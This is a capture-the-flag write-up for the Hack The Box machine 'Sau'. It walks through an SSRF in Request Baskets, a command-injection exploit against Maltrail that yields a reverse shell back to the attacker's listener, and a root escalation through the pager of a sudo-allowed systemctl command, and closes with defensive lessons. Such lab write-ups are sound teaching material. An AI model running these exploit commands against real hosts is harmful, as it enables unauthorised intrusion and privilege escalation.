~/writeups_
Hack The BoxEasyLinux

Sau

A Request Baskets instance is vulnerable to SSRF (CVE-2023-27163), which we use to reach a firewalled Maltrail service. Maltrail's unauthenticated command injection gives a reverse shell as puma, and a sudo-allowed systemctl status is escalated to root through its pager.

TL;DR

Sau is an Easy-difficulty Linux machine built around a chain of two web vulnerabilities and a classic sudo misconfiguration. A public Request Baskets instance is vulnerable to Server-Side Request Forgery (CVE-2023-27163), which we use to pivot to a Maltrail service that is firewalled from the outside. Maltrail v0.53 suffers from unauthenticated OS command injection, giving us a reverse shell as puma. Finally, puma may run systemctl status trail.service via sudo; because systemctl pipes long output through a pager, we escape to a root shell.

MachineOSDifficultyTarget IPPwnbox IP
SauLinuxEasy10.129.229.2610.10.15.144

Enumeration

We begin by identifying the open ports and services. We first grab all open ports with a fast scan, then run service and script detection against just those ports:

Terminal window
ports=$(nmap -p- --min-rate 1000 -T4 10.129.229.26 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sVC 10.129.229.26

The scan returns:

Terminal window
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open http Golang net/http server

Ports 80 and 8338 are filtered (so we can’t reach them directly), but 55555 is open and serving HTTP. We browse to http://10.129.229.26:55555.

IMG-Sau

The footer tells us the site is powered by Request Baskets v1.2.1.

Foothold

SSRF in Request Baskets (CVE-2023-27163)

A quick search for that version turns up a writeup describing an SSRF vulnerability: a basket’s forward URL causes the server to proxy requests on our behalf, letting us reach services the firewall would otherwise block.

First, to confirm the SSRF, we start a listener on the Pwnbox:

Terminal window
nc -lvnp 80

Then we create a basket named test, open its Settings, and set the forward URL to our Pwnbox IP (10.10.15.144).

IMG-Sau-1

Visiting http://10.129.229.26:55555/test makes the server forward the request to us, and the listener catches it — confirming the SSRF:

Terminal window
$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.15.144] from (UNKNOWN) [10.129.229.26] 36502
GET / HTTP/1.1
Host: 10.10.15.144
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Priority: u=0, i
Upgrade-Insecure-Requests: 1
X-Do-Not-Forward: 1

Reaching the filtered service

The nmap scan showed port 80 as filtered from the outside, but it is reachable from the box itself. We abuse the SSRF to look behind it: change the basket’s forward URL to http://127.0.0.1:80 and enable both Proxy Response and Expand Forward Path.

IMG-Sau-2

Visiting http://10.129.229.26:55555/test again now proxies the internal site back to us.

IMG-Sau-3

The footer reads Powered by Maltrail (v0.53).

Command injection in Maltrail v0.53

Maltrail v0.53 has an unauthenticated OS command injection vulnerability in its login handler. A ready-made exploit is available at spookier/Maltrail-v0.53-Exploit.

We download exploit.py, start a listener for the callback, and run the exploit — pointing it at the SSRF basket URL so the payload reaches Maltrail through Request Baskets:

Terminal window
nc -lvnp 9001
Terminal window
python3 exploit.py 10.10.15.144 9001 http://10.129.229.26:55555/test

The listener receives a reverse shell as puma.

User

With a shell as puma, we read the user flag from the home directory:

Terminal window
$ cd /home/puma
$ cat user.txt
983*****************************

Before going further, we upgrade to a fully interactive TTY so tools like a pager behave correctly:

Terminal window
$ script /dev/null -c bash
Ctrl+Z
$ stty raw -echo; fg
$ reset
$ export TERM=xterm

Privilege Escalation

We check what puma may run with sudo:

Terminal window
$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

puma can run systemctl status trail.service as root without a password. This is a known GTFOBins vector: when systemctl status output is longer than the terminal, it is piped through a pager (less), and because the whole command runs as root, a shell spawned from that pager is a root shell.

We run the allowed command:

Terminal window
$ sudo /usr/bin/systemctl status trail.service

The output opens in less. From there we type !sh to spawn a shell, which runs as root. We can now read the root flag:

Terminal window
# cat /root/root.txt
362*****************************
Rooted

Foothold via Request Baskets SSRF (CVE-2023-27163) → pivot to a firewalled Maltrail; RCE through Maltrail’s unauthenticated command injection → puma; root by escaping the pager of a sudo-allowed systemctl status.

Lessons Learned

  • SSRF turns a server into a proxy for its own internal network. The firewall hid port 80, but Request Baskets happily fetched 127.0.0.1:80 for us. Validate and restrict the destinations a server-side fetch is allowed to reach, and never trust that “internal only” services are unreachable.
  • Keep third-party components patched. Both footholds — the Request Baskets SSRF and the Maltrail command injection — were public, version-specific CVEs. Removing version banners from footers and staying current would have closed the whole chain.
  • sudo on systemctl is root. Because systemctl status invokes a pager that can spawn a subshell, allowing it via sudo is equivalent to handing out a root shell. Use --no-pager, drop the privilege entirely, or check binaries against GTFOBins before adding them to sudoers.